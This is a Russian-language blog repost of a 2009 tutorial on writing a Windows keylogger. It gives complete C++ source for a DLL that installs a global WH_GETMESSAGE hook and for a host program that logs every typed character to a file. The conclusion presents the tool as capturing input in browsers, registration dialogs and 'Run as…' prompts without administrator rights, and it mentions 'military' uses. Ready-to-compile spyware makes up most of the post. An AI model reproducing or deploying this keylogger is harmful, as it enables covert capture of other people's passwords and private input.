J3qx

Просто еще один WordPress.com блог

Кейлоггер? Это просто!

Опубликовал j3qx на Январь 8, 2009

Кейлоггер? Это просто!

В этой статье рассматриваются некоторые функции Win32 API, приемы и методы программирования под Windows достаточные для написания простого клавиатурного шпиона. Статья написана опираясь на материалы и вопросы форума uinc.ru по этой теме.

Введение

Зачем применяется клавиатурный шпион? В мирных целях – чтобы отследить определенную последовательность нажатий пользователем на клавиатуре. Пример – Abbyy Lingvo со своим <Ctrl>+<Ins>+<Ins>. А в «военных» – просто зафиксировать все вводимое с клавиатуры. В каких целях – ну это уже другой вопрос.

Методы

Ввод обычных символов с клавиатуры в Windows (как правило) отражается посылкой сообщений WM_KEYDOWN, WM_KEYUP окну в которое осуществляется ввод. Эти сообщения передают virtual-key коды нажатых клавиш. С ними не удобно работать поскольку нам самим придется преобразовывать их в вводимые символы, учитывая текущую кодировку, регистр и тд. В Win API этим занимается функция TranslateMessage(). Она транслирует эти сообщения с virtual-key кодами в символьные (WM_CHAR) и снова посылает их окну.

С помощью функции SetWindowHookEx мы установим ловушку (хук) для фильтрации посылаемых сообщений в Windows. Нас интересует сообщение WM_CHAR. Для этого вызовем ее с параметром WH_GETMESSAGE. С помощью SetWindowHookEx мы установим callback функцию, которая будет вызываться всякий раз когда сообщение будет попадать в очередь. А точнее всякий раз когда функци GetMessage или PeekMessage вынимают сообщение из очереди. Прежде чем «отдать» сообщение приложению, система передает это сообщение нашей хук-функции. С помощью хуков можно отслеживать события происходящие как в отдельном потоке, так и во всех потоках в системе. Мы поставим глобальный хук. Для глобальных хуков callback функция должна находиться в Dll. Callback функция вызывается из разных процессов, а dll, соответственно, подгружается во все эти процессы.

Итак, мы напишем dll, внутри которой будем устанавливать хук и внутри нее же будет находиться callback функция. А еще мы напишем основное приложение. Из него мы будем вызывать эту dll. Когда dll поймает нажатие клавиши – мы будем информировать свое главное приложение посылкой ему сообщения. А главное приложение уже будет обрабатывать это событие – делать запись в файл.

Листинг MyHookDll.h

Вот интерфейс нашей dll-ли. Мы опишем и экспортируем две функции SetHook и UnsetHook. Думаю по названию понятно что делают эти функции. SetHook принимает два параметра – это handle окна, куда посылать нотификационное сообщение и собственно само сообщение. UnsetHook – без параметров.

Код:
#define MYHOOKDLL_API __declspec(dllexport)

#include <windows.h>

extern "C"
{
	MYHOOKDLL_API int  SetHook( HWND,UINT );
	MYHOOKDLL_API int  UnSetHook();
}

Листинг MyHookDll.cpp

А вот и сама dll.

Код:
#include "MyHookDll.h"

// Глобальные переменные
HINSTANCE hInstance = NULL; // The instance of the DLL

// Описание нашей хук-функци
LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM );

А вот тут внимание, тонкий момент. Внутри dll-ли нам нужно хранить как минимум handle окна и сообщение. Но обратите внимание, что наша dll подгружается во все процессы. А все данные в dll (в том числе и глобальные) hInstance-зависимые. Поэтому мы объявим специальную разделяемую (shared) секцию. Данные обявленные в ней будут доступные всем экземплярам этой DLL. Обратите внимание на то, что во-первых, все переменные, объявленные здесь, должны быть проинициализированы; и во-вторых – имя секции может быть любым, но оно обрезается линкером до восьми символов (а то это может показаться странным когда вы посмотрите в откомпилированный екзешник).

Код:
#pragma data_seg(".SData")
HHOOK hMsgHook = NULL; // Handle нашего хука
UINT KBoardMessage = NULL; // Сообщение, которое мы будем посылать
                           // родительскому приложению
HWND hParentWnd = NULL; // Окно родительского приложения
#pragma data_seg( )

//Директива линкеру создать разделяемую(shared) секцию с атрибутами RWS
#pragma comment(linker,"/SECTION:.SData,RWS")

// Далее, обычная DllMain
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if (ul_reason_for_call == DLL_PROCESS_ATTACH)
		hInstance = (HINSTANCE)hModule;

	return TRUE;
}

// Две функции SetHook и UnsetHook

MYHOOKDLL_API int SetHook (HWND hWnd, // window which
                    // should receive notification messages
		UINT UpdateMsg) // notification message
{
	if (hWnd == NULL) return -1;

	// Save received parameters
	hParentWnd = hWnd;
	KBoardMessage = UpdateMsg;

	// Set hook
	hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0);

	// If we are failed...
	if (hMsgHook == NULL)
		return -1;

	return 0;
};

MYHOOKDLL_API int UnSetHook()
{
	UnhookWindowsHookEx (hMsgHook);

	hMsgHook = NULL;

	return 0;
};

// И сама callback функция хука

В зависимости от типа хука – его callback функция возвращает разную информацию. Наш хук возвращает структуру MSG. Итак если она не пустая, сообщение – WM_CHAR и оно вынимается из очереди (ведь приложение может сколько угодно «смотреть» на сообщение, вызывая функцию PeekMessage с параметром PM_NOREMOVE, но вынуть его сможет один раз) посылаем своему приложению нотификацию.

Код:
LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam)
{
	if (code >= 0)
	{
		MSG * msg = (MSG * )lParam;

		if ((lParam)
			&&(msg->message == WM_CHAR)
			&&(wParam == PM_REMOVE))

			PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 );
	}

	return CallNextHookEx (hMsgHook, code ,wParam , lParam);
};

Все. Можно компилировать.
Основное приложение

Оно очень простое. И состоит из одного файла

#include <windows.h>
#include <stdio.h>

// Функция окна
LRESULT CALLBACK LogWndProc(HWND, UINT, UINT, LONG);

// Сообщение, которое мы будем получать от хука
#define WM_HOOKMESSAGE WM_USER+1

// Глобальные пременные
HWND hWnd; // Главное окно приложения
HINSTANCE hDllInst; // Dll с хуком

// И две функции
int ( * SetHook)( HWND,UINT);
int (* UnSetHook)();

// Вход в программу
int APIENTRY WinMain(HINSTANCE hInstance,
		HINSTANCE hPrevInstance,
		LPSTR lpCmdLine,
		int nCmdShow)
{
	MSG msg;
	WNDCLASS wc;

	// Класс и окно которое будет получать уведомление о нажатиях клавиш.
	memset (&wc, 0, sizeof (wc));
	wc.lpszClassName = "__MyKeyLogger";
	wc.hInstance = hInstance;
	wc.lpfnWndProc = LogWndProc;
	wc.style = CS_HREDRAW | CS_VREDRAW ;
	wc.hbrBackground = (HBRUSH)(COLOR_MENU+1);
	wc.hCursor = LoadCursor(NULL, IDC_ARROW);

	RegisterClass(&wc);

	hWnd = ::CreateWindowEx (0,
		"__MyKeyLogger",
		"My KeyLogger",
		WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME ,
		0, 0, 200, 200,
		NULL,
		NULL,
		hInstance,
		0);

	// Подгружаем dll
	hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll");

	if (hDllInst)
	{
		SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook");
		UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook");
	}

	// Устанавливаем хук
	if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE);

	// Цикл сообщений
	while (GetMessage(&msg, NULL, 0, 0))
	{
		DispatchMessage(&msg);
	}

	// Снимаем хук
	if(UnSetHook)UnSetHook();

	if (IsWindow(hWnd ))
		DestroyWindow (hWnd );

	// Выгружаем dll
	if (hDllInst) FreeLibrary(hDllInst);

	// Выход
	return 0;
}

// Функция окна
// В ней основной пункт - обработка нашего сообщения
LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam)
{
	FILE * f = fopen("a.log","a");

	switch (Message)
	{
	case WM_CLOSE:
		DestroyWindow(hwnd);
		break;

	case WM_HOOKMESSAGE:
		switch(wParam)
		{
		// для некоторых символов выведем их "название"
		case 0x08: fprintf(f,"<BkSp>");break;
		case 0x1b: fprintf(f,"<Esc>");break;
		case 0x0d: fprintf(f,"\n");break;
		default:
			fprintf(f,"%c",wParam );
		}
		break;

	case WM_DESTROY:
	case WM_ENDSESSION:
		PostQuitMessage (0);
		break;
	}

	fclose(f);

	return DefWindowProc(hwnd,Message,wParam,lParam);
}

Компилируем!

Кейлоггер готов.

Заключение

Даже такой простой кейлоггер может многое. Будучи запущен с правами простого пользователя (не администратора) он может перехватывать ввод информации в практически любое окно Windows. Теперь вам доступно логгирование информации вводимой в окна броузеров, диалогов настройки и регистрации, оффисные приложения и окошко «Run as…». 

Однако, ввод в некоторые окна наша программа не перехватывает.

Во-первых, это консольные окна в Win NT/2k/XP. Причина этому очень проста – сообщения WM_KEYDOWN и WM_KEYUP не транслируются в WM_CHAR. Этим окнам просто не приходит сообщение WM_CHAR.

Во-вторых, консольные окна Win9X. Там ввод с клавиатуры в консольное окно вообще не отражается посылкой сообщений.

И наконец, окошко winlogon-на – «специального» процесса в Win NT/2k/Xp.

Но решение этих задач выходит за рамки данной статьи.

Статья написана специально для http://www.uinc.ru/
Автор: TN

Ответить

XHTML: Вы можете использовать эти метки: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <pre> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>